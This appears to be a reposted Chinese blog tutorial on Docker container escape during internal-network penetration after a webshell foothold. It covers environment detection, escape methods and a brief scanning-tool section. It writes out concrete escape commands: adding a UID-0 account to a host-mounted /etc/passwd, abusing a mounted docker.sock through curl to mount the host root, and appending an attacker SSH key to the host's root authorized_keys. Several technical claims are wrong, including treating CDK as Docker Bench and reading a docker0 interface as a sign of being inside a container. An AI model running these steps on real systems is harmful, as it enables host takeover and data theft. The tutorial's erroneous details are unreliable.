內網滲透技術 Docker逃逸技術(提權)研究 CSMSF

目錄

如何通過上傳的webshell判斷當前環境是否是物理環境還是Docker環境

方法一:檢查文件系統

方法二:查看進程

方法三:檢查網絡配置

方法四:檢查環境變量

方法五:檢查掛載點

總結

2. 如果是Docker環境,是否和正常的物理環境一樣進行后滲透測試工作

是否一樣

Docker環境與物理環境的區別

調整后的滲透測試策略

總結

3. Docker服務器有什么特點?對滲透測試及內網滲透橫向擴展有什么影響

Docker服務器的特點

對滲透測試的影響

對內網滲透橫向擴展的影響

總結

4. 網絡安全及內網滲透中Docker逃逸的相關問題

Docker逃逸是什么

目的是什么

什么情況下使用

什么情況下逃逸會成功

總結

5. 實際案例:網絡安全中的Docker逃逸

場景

步驟

相關配置

銀行項目組的影響

總結

6. Docker逃逸的手法及實際案例

手法一:掛載宿主機文件系統

手法二:特權模式

手法三:共享網絡命名空間

手法四:漏洞利用(Docker Socket)

手法五:內核漏洞

總結

7. Docker不安全配置掃描工具及關聯

常見工具

與Docker的關聯

總結

8. CDK(假設為Docker Bench)的不安全掃描使用方式及案例

假設CDK為Docker Bench for Security

實際案例

總結

9. 將物理根目錄掛載到Docker后,如何利用SSH密鑰控制物理機

步驟

總結

綜合總結:內網滲透中的Docker逃逸手法


如何通過上傳的webshell判斷當前環境是否是物理環境還是Docker環境

當通過webshell成功進入目標系統后,我們需要判斷當前運行環境是物理機還是Docker容器。

以下是具體方法和步驟:

方法一:檢查文件系統
  • 原理:Docker容器的文件系統通常是只讀的,或者具有特定的掛載點,而物理機的文件系統則沒有這些限制。

  • 操作

    • 執行命令:cat /proc/1/cgroup

    • 判斷依據

      • 如果輸出中包含dockerkubepods等字樣,說明當前環境是Docker容器。

      • 如果沒有這些關鍵字,通常是物理環境。

  • 示例

    /proc/1/cgroup 輸出:
    11:perf_event:/docker/1234567890abcdef

    其中docker表明這是一個Docker容器。

方法二:查看進程
  • 原理:Docker容器中

    • 進程ID為1的進程通常是容器的初始化進程(init)

    • 而物理機中PID為1的進程是系統的init進程(如systemd)

  • 操作

    • 執行命令:ps aux | grep init

    • 判斷依據

      • 如果PID為1的進程是/sbin/initsystemd,則可能是物理環境。

      • 如果是其他輕量級進程(如bash、sh或用戶定義的進程),則可能是Docker容器。

  • 示例

    root ? ? ? ? 1  0.0  0.1  12345  6789 ? ? ? ?  Ss ? 00:00 ? /bin/bash

    這種情況下,PID 1是bash,說明是Docker容器。

方法三:檢查網絡配置
  • 原理:Docker容器有獨立的網絡棧,通常使用橋接網絡(如docker0),而物理機沒有這些特定接口。

  • 操作

    • 執行命令:ip aifconfig

    • 判斷依據

      • 如果看到docker0或類似橋接接口,說明是Docker環境。

      • 如果僅看到物理網卡(如eth0),則可能是物理環境。

  • 示例

    2: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN

    存在docker0,表明是Docker環境。

方法四:檢查環境變量
  • 原理:某些Docker容器會設置特定的環境變量,而物理機通常沒有。

  • 操作

    • 執行命令:env

    • 判斷依據

      • 如果看到DOCKER_CONTAINER或類似變量,說明是Docker環境。

  • 示例

    DOCKER_CONTAINER=true

    表明當前是Docker容器。

方法五:檢查掛載點
  • 原理:Docker容器有特定的掛載點(如/var/lib/docker),物理機沒有這些。

  • 操作

    • 執行命令:mount

    • 判斷依據

      • 如果看到/var/lib/docker或類似掛載點,說明是Docker環境。

  • 示例

    overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)

    表明是Docker容器。

方法六:檢查文件系統特征

  • 查看根目錄下是否存在 .dockerenv/run/.containerenv,這是Docker容器的標記文件。

  • 檢查 /proc/1/cgroup 文件內容,若包含 dockerk8s 或容器ID,則為容器環境。

  • 執行 mount | grep overlay,容器通常使用 overlayaufs 作為存儲驅動。

總結

通過以上方法,從文件系統、進程、網絡、環境變量和掛載點五個方面檢查,結合多方面證據,可以準確判斷當前環境是物理機還是Docker容器。通常只需執行cat /proc/1/cgroup即可快速得出結論。


2. 如果是Docker環境,是否和正常的物理環境一樣進行后滲透測試工作

是否一樣
  • 答案:不完全一樣。

  • 原因:Docker環境與物理環境在資源、網絡、文件系統和權限等方面存在顯著差異,因此后滲透測試需要根據Docker的特性進行調整。

Docker環境與物理環境的區別
  1. 資源限制

    • Docker容器通常有CPU、內存和磁盤的限制,可能導致某些滲透測試工具(如爆破工具)運行受限。

    • 物理機通常資源更充足。

  2. 網絡隔離

    • Docker容器使用獨立的網絡命名空間,默認無法直接訪問宿主機或其他容器的網絡。

    • 物理機可以直接訪問網絡資源。

  3. 文件系統隔離

    • Docker容器的文件系統是隔離的,無法直接訪問宿主機的文件。

    • 物理機的文件系統是全局的。

  4. 權限限制

    • Docker容器可能以非root用戶運行,權限受限。

    • 物理機上通常更容易獲得root權限。

調整后的滲透測試策略
  1. 提權

    • 在Docker容器內,嘗試提升權限到root用戶。例如,利用容器內的suid程序或漏洞提權。

    • 示例命令:find / -perm -4000 2>/dev/null 查找suid文件。

  2. 突破網絡隔離

    • 使用端口轉發(如ssh -L)或代理工具(如proxychains),訪問宿主機或其他網絡資源。

  3. 嘗試Docker逃逸:

    • 如果需要更深入滲透,嘗試從容器逃逸到宿主機,獲取更高權限(詳見問題4)。

  4. 工具調整

    • 選擇輕量級工具,避免因資源限制導致工具崩潰。

總結
  • 在Docker環境中,后滲透測試不能直接套用物理環境的流程。
  • 需要針對容器的隔離性、資源限制和權限特性,調整策略,必要時進行逃逸操作。

3. Docker服務器有什么特點?對滲透測試及內網滲透橫向擴展有什么影響

Docker服務器的特點
  1. 隔離性

    • 文件系統、網絡和進程都與宿主機及其他容器隔離。

  2. 輕量級

    • 啟動快,資源占用少,基于鏡像運行。

  3. 可移植性

    • 容器可以在不同宿主機上運行,配置一致。

對滲透測試的影響
  1. 權限提升難度增加

    • 由于隔離性,攻擊者需要突破容器限制才能訪問宿主機。

  2. 網絡攻擊復雜化

    • 容器的網絡棧獨立,需了解Docker的網絡模式(如橋接、主機模式)才能有效攻擊。

  3. 工具運行受限

    • 資源限制可能導致某些工具無法正常運行。

對內網滲透橫向擴展的影響
  1. 橫向擴展受阻

    • 容器之間的隔離使得直接攻擊其他容器或宿主機變得困難。

  2. 逃逸需求增加:

    • 要實現橫向擴展,往往需要先逃逸到宿主機,控制宿主機后再攻擊其他容器或內網主機。

  3. 網絡配置依賴

    • 攻擊者需利用Docker的網絡配置(如共享主機網絡)進行橫向移動。

總結

Docker服務器的隔離性提高了滲透難度,攻擊者需要針對其特點調整策略,尤其是通過逃逸實現橫向擴展。


4. 網絡安全及內網滲透中Docker逃逸的相關問題

Docker逃逸是什么
  • 定義:Docker逃逸是指從Docker容器內部突破隔離限制,獲取宿主機的控制權或訪問宿主機的資源。

  • 本質:利用Docker配置漏洞或系統漏洞,打破容器與宿主機的邊界。

目的是什么
  • 獲取更高的權限,訪問宿主機的文件系統、網絡或其他資源,從而進行更深入的滲透或攻擊。

什么情況下使用
  • 當攻擊者已通過webshell或其他方式控制了Docker容器,但權限受限,無法直接影響宿主機或其他容器時。

  • 示例場景:攻擊者想從容器內竊取宿主機的敏感數據。

什么情況下逃逸會成功
  1. 配置不當

    • 容器以特權模式運行(--privileged)。

    • 宿主機敏感目錄(如//var/run/docker.sock)掛載到容器內。

  2. 漏洞利用

    • Docker daemon漏洞(如未授權訪問Docker socket)。

    • 內核漏洞(如Dirty COW)。

  3. 共享資源

    • 容器與宿主機共享網絡命名空間(--net=host)或IPC。

總結

Docker逃逸是內網滲透中的高級手法,用于突破容器限制,其成功依賴于目標系統的配置錯誤或漏洞。


5. 實際案例:網絡安全中的Docker逃逸

場景

某銀行項目組使用Docker部署應用,開發人員誤將宿主機的/etc目錄掛載到容器內,導致安全隱患。

步驟
  1. 上傳webshell

    • 攻擊者通過漏洞(如文件上傳漏洞)將webshell上傳到容器內。

  2. 發現掛載點

    • 執行ls /mnt/etc,發現這是宿主機的/etc目錄。

  3. 修改passwd文件

    • 在容器內執行:

      echo "hacker:x:0:0:hacker:/root:/bin/bash" >> /mnt/etc/passwd

      添加一個root權限用戶hacker

  4. 登錄宿主機

    • 使用hacker用戶通過ssh登錄宿主機,控制整個系統。

相關配置
  • Docker運行命令:

    docker run -v /etc:/mnt/etc -d myimage

    -v /etc:/mnt/etc將宿主機的/etc掛載到容器的/mnt/etc

銀行項目組的影響
  • 攻擊者控制宿主機后,可能竊取銀行客戶的敏感數據,導致重大安全事故。

總結

此案例展示了配置不當(掛載敏感目錄)如何導致Docker逃逸,攻擊者利用這一點輕松控制宿主機。


6. Docker逃逸的手法及實際案例

以下是常見的Docker逃逸手法,每種均附帶實際案例:

手法一:掛載宿主機文件系統
  • 案例:如問題5所述,銀行項目組掛載/etc,攻擊者修改passwd逃逸。

  • 步驟:掛載/etc后,添加用戶或修改配置文件。

手法二:特權模式
  • 案例:某企業運行容器時使用--privileged

    docker run --privileged -d myimage
  • 步驟

    1. 在容器內執行ls /dev,發現宿主機設備(如磁盤)。

    2. 使用dd命令直接操作宿主機磁盤,寫入后門。

手法三:共享網絡命名空間
  • 案例:某服務器使用--net=host運行容器:

    docker run --net=host -d myimage
  • 步驟

    1. 在容器內執行ip a,發現宿主機的網絡接口。

    2. 發起網絡攻擊,直接控制宿主機。

手法四:漏洞利用(Docker Socket)
  • 案例:某系統將/var/run/docker.sock掛載到容器:

    docker run -v /var/run/docker.sock:/var/run/docker.sock -d myimage
  • 步驟

    1. 在容器內使用curl訪問Docker API:

      curl --unix-socket /var/run/docker.sock http://localhost/containers/create -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}'
    2. 創建新容器,掛載宿主機根目錄,逃逸成功。

手法五:內核漏洞
  • 案例:利用Dirty COW漏洞(CVE-2016-5195)。

  • 步驟

    1. 在容器內編譯漏洞利用代碼。

    2. 提權到宿主機root用戶。

總結

這些手法利用了配置錯誤(如特權模式、掛載敏感目錄)和漏洞(Docker API、內核),是Docker逃逸的核心手段。


7. Docker不安全配置掃描工具及關聯

常見工具
  1. Docker Bench for Security

    • 檢查Docker配置安全的腳本。

  2. Clair

    • 掃描Docker鏡像中的軟件漏洞。

  3. Anchore

    • 分析容器鏡像的安全性和配置問題。

  4. Dockle

    • 檢查鏡像的安全最佳實踐。

與Docker的關聯
  • 這些工具識別Docker配置中的安全隱患(如特權模式、掛載敏感目錄),防止攻擊者利用這些問題進行逃逸。

  • 示例:Docker Bench可能報告“容器以特權模式運行”,提示管理員修復。

總結

使用這些工具可以提前發現并修復不安全配置,降低Docker逃逸風險。


8. CDK(假設為Docker Bench)的不安全掃描使用方式及案例

假設CDK為Docker Bench for Security
  • 使用方式

    1. 下載腳本:

      git clone https://github.com/docker/docker-bench-security.git
    2. 運行腳本:

      cd docker-bench-security && sh docker-bench-security.sh
    3. 查看報告:

      • 報告列出配置問題及建議。

實際案例
  • 場景:某企業運行Docker容器。

  • 步驟

    1. 運行腳本后,報告顯示:

      [WARN] 1.2.1 - Ensure the container is not running in privileged mode
    2. 檢查發現容器使用--privileged運行。

    3. 修復:修改為非特權模式運行。

  • 結果:避免了潛在的逃逸風險。

總結

Docker Bench通過掃描識別不安全配置,幫助管理員加固系統。


9. 將物理根目錄掛載到Docker后,如何利用SSH密鑰控制物理機

步驟
  1. 掛載根目錄

    • Docker運行命令:

      docker run -v /:/host -d myimage

      宿主機根目錄掛載到容器的/host

  2. 訪問SSH目錄

    • 在容器內執行:

      ls /host/root/.ssh/

      檢查是否存在authorized_keys

  3. 添加攻擊者公鑰

    • 執行:

      echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@host" >> /host/root/.ssh/authorized_keys

      將攻擊者的公鑰追加到文件中。

  4. SSH登錄宿主機

    • 在攻擊者機器上:

      ssh root@宿主機IP

      使用對應私鑰登錄。

總結

通過掛載根目錄,攻擊者可直接修改宿主機的SSH配置,控制物理機。


綜合總結:內網滲透中的Docker逃逸手法

  1. 判斷環境:通過/proc/1/cgroup、進程、網絡等方法區分物理機和Docker。

  2. 滲透調整:Docker環境下需突破隔離,必要時逃逸。

  3. Docker特點:隔離性增加了橫向擴展難度。

  4. 逃逸核心:利用配置不當(如特權模式、掛載敏感目錄)和漏洞(如Docker Socket、內核漏洞)。

  5. 實際案例:銀行掛載/etc導致逃逸,展示了配置錯誤的嚴重性。

  6. 工具防護:Docker Bench等工具可提前發現問題。

  7. 控制物理機:掛載根目錄后修改SSH密鑰是典型手法。

通過以上邏輯,您應能全面理解Docker逃逸的原理、方法及應用場景,在內網滲透中靈活應對Docker環境。


喜歡本文的請動動小手點個贊,收藏一下,有問題請下方評論,轉載請注明出處,并附有原文鏈接,謝謝!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73220.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73220.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73220.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

動態規劃:從暴力遞歸到多維優化的算法進化論(C++實現)

動態規劃&#xff1a;從暴力遞歸到多維優化的算法進化論 一、動態規劃的本質突破 動態規劃&#xff08;Dynamic Programming&#xff09;不是簡單的遞歸優化&#xff0c;而是計算思維范式的革命性轉變。其核心價值在于通過狀態定義和決策過程形式化&#xff0c;將指數復雜度問…

數據結構與算法-數據結構-樹狀數組

概念 樹狀數組&#xff0c;也叫二叉索引樹&#xff08;Binary Indexed Tree&#xff0c;BIT&#xff09;&#xff0c;它是用數組來模擬樹形結構。樹狀數組的每個節點存儲的是數組中某一段的和&#xff08;或其他可合并的信息&#xff09;&#xff0c;通過巧妙的索引方式和樹形…

AI比人腦更強,因為被植入思維模型【19】三腦理論思維模型

定義 三腦理論思維模型是由美國神經科學家保羅麥克萊恩&#xff08;Paul MacLean&#xff09;提出的&#xff0c;該理論認為人類的大腦由三個不同但又相互關聯的部分組成&#xff0c;分別是爬蟲腦&#xff08;Reptilian Brain&#xff09;、邊緣腦&#xff08;Limbic Brain&am…

使用 patch-package 優雅地修改第三方依賴庫

在前端開發中&#xff0c;有時我們需要對第三方依賴庫進行修改以滿足項目需求。然而&#xff0c;直接修改 node_modules 中的文件并不是一個好方法&#xff0c;因為每次重新安裝依賴時這些修改都會丟失。patch-package 是一個優秀的工具&#xff0c;可以幫助我們優雅地管理這些…

馬科維茨均值—方差理論推導過程

下面給出一個詳細的、符號嚴謹、公式連貫的馬科維茨均值—方差理論推導過程&#xff0c;假設你輸入了 nnn 列股票的歷史收盤價數據。我們從數據符號的定義開始&#xff0c;逐步構建所有公式&#xff0c;并詳細解釋每個符號的意義。

僅靠prompt,Agent難以自救

Alexander的觀點很明確&#xff1a;未來 AI 智能體的發展方向還得是模型本身&#xff0c;而不是工作流&#xff08;Work Flow&#xff09;。還拿目前很火的 Manus 作為案例&#xff1a;他認為像 Manus 這樣基于「預先編排好的提示詞與工具路徑」構成的工作流智能體&#xff0c;…

【css酷炫效果】純CSS實現懸浮彈性按鈕

【css酷炫效果】純CSS實現懸浮彈性按鈕 緣創作背景html結構css樣式完整代碼效果圖 想直接拿走的老板&#xff0c;鏈接放在這里&#xff1a;https://download.csdn.net/download/u011561335/90492020 緣 創作隨緣&#xff0c;不定時更新。 創作背景 剛看到csdn出活動了&…

決策樹基礎

決策樹 定義 從根節點開始&#xff0c;也就是擁有全部的數據&#xff0c;找一個維度對根節點開始劃分&#xff0c; 劃分后希望數據整體的信息熵是最小的&#xff0c; 針對劃分出來的兩個節點&#xff0c;我們繼續重復剛才的劃分方式尋找信息熵最小的維度和閾值。 遞歸這個…

動態查找表

1.問題分析&#xff1a; 動態查找表是一種可以動態地插入、刪除和查找元素的數據結構。它是基于二叉搜索樹實現的&#xff0c;具有快速的查找和插入操作。 以下是一些關于動態查找表的問題分析&#xff1a; 1. 插入操作&#xff1a;在動態查找表中插入一個元素時&#xff0c…

得分匹配的朗之萬動力學——Score-Matching Langevin Dynamics (SMLD)

得分匹配的朗之萬動力學——Score-Matching Langevin Dynamics (SMLD) 文章目錄 得分匹配的朗之萬動力學——Score-Matching Langevin Dynamics (SMLD)摘要Abstract周報內容0. 上期補充1. 本期的基本思想2. 從一個分布中采樣&#xff08;Sampling from a Distribution&#xff…

字節DAPO算法:改進DeepSeek的GRPO算法-解鎖大規模LLM強化學習的新篇章(代碼實現)

DAPO算法&#xff1a;解鎖大規模LLM強化學習的新篇章 近年來&#xff0c;大規模語言模型&#xff08;LLM&#xff09;在推理任務上的表現令人矚目&#xff0c;尤其是在數學競賽&#xff08;如AIME&#xff09;和編程任務中&#xff0c;強化學習&#xff08;RL&#xff09;成為…

【Qt】QWidget的styleSheet屬性

&#x1f3e0;個人主頁&#xff1a;Yui_ &#x1f351;操作環境&#xff1a;Qt Creator &#x1f680;所屬專欄&#xff1a;Qt 文章目錄 前言1. styleSheet屬性2. 利用styleSheet屬性實現簡單的日夜模式切換2.1 知識補充-計算機中的顏色表示 3. 總結 前言 style?好像前端的st…

QT Quick(C++)跨平臺應用程序項目實戰教程 2 — 環境搭建和項目創建

目錄 引言 1. 安裝Qt開發環境 1.1 下載Qt安裝包 1.2 安裝Qt 1.3 安裝MSVC編譯器 2. 創建Qt Quick項目 2.1 創建新項目 2.2 項目結構 2.3 運行項目 3. 理解項目代碼 3.1 main.cpp文件 3.2 Main.qml文件 引言 在上一篇文章中&#xff0c;我們介紹了本教程的目標和結…

macOS Sequoia 15.3 一直彈出“xx正在訪問你的屏幕”

&#x1f645; 問題描述 macOS 系統升級后&#xff08;15.2或者15.3均出現過此問題&#xff09;&#xff0c;不管是截圖還是開騰訊會議&#xff0c;只要跟捕捉屏幕有關&#xff0c;都一直彈出這個選項&#xff0c;而且所有軟件我都允許訪問屏幕了&#xff0c;這個不是詢問是否…

二叉樹的學習

目錄 樹型結構&#xff08;了解&#xff09; 概念 概念&#xff08;重要&#xff09; 樹的表示形式&#xff08;了解&#xff09; 樹的應用 二叉樹&#xff08;重點&#xff09; 概念 兩種特殊的二叉樹 二叉樹的性質 利用性質做題&#xff08;關鍵&#xff09; 二叉…

AbMole新生大鼠腦類器官培養Protocol

近日&#xff0c;希臘亞里士多德大學塞薩洛尼基分校的研究團隊在《神經科學方法》&#xff08;Journal of Neuroscience Methods&#xff09;期刊上發表了一項引人注目的研究&#xff0c;他們開發了一種基于新生大鼠腦組織的新型類器官培養協議&#xff0c;并展望其在阿爾茨海默…

物理環境與安全

物理安全的重要性 信息系統安全戰略的一個重要組成部分物理安全面臨問題 環境風險不確定性人類活動的不可預知性 典型的物理安全問題 自然災害環境因素設備安全、介質安全、傳輸安全 場地選擇 區域&#xff1a;避開自然災害高發區環境&#xff1a;原理可能的危險因素抗震&…

手動離線安裝NextCloud插件

1、下載離線插件安裝包 進入NextCloud官方插件商城&#xff1a;https://apps.nextcloud.com/ 選擇自己需要的插件軟件 選擇NextCloud對應版本的插件安裝包 2、解壓安裝 進入的到NextCloud安裝目錄的apps目錄 cd /var/www/html/apps 將下載的xxx.tar.gz復制到apps目錄中解…

算力100問?第93問:算力資源為何更分散了?

目錄 1、政策驅動與地方投資的盲目性 2、美國芯片斷供與國產替代的陣痛 3、政企市場對私有云的偏好 4、技術標準與供需結構的失衡 5、產業生態與市場機制的滯后 6、破局路徑與未來展望 在大模型和人工智能技術快速發展的背景下,算力資源已成為數字經濟時代的核心基礎設施…

基于HTML的郵件發送狀態查詢界面設計示例

以下是一個基于HTML的郵件發送狀態查詢界面設計示例&#xff0c;結合篩選功能、狀態展示和重新發送操作&#xff0c;采用Bootstrap框架實現響應式布局&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"&…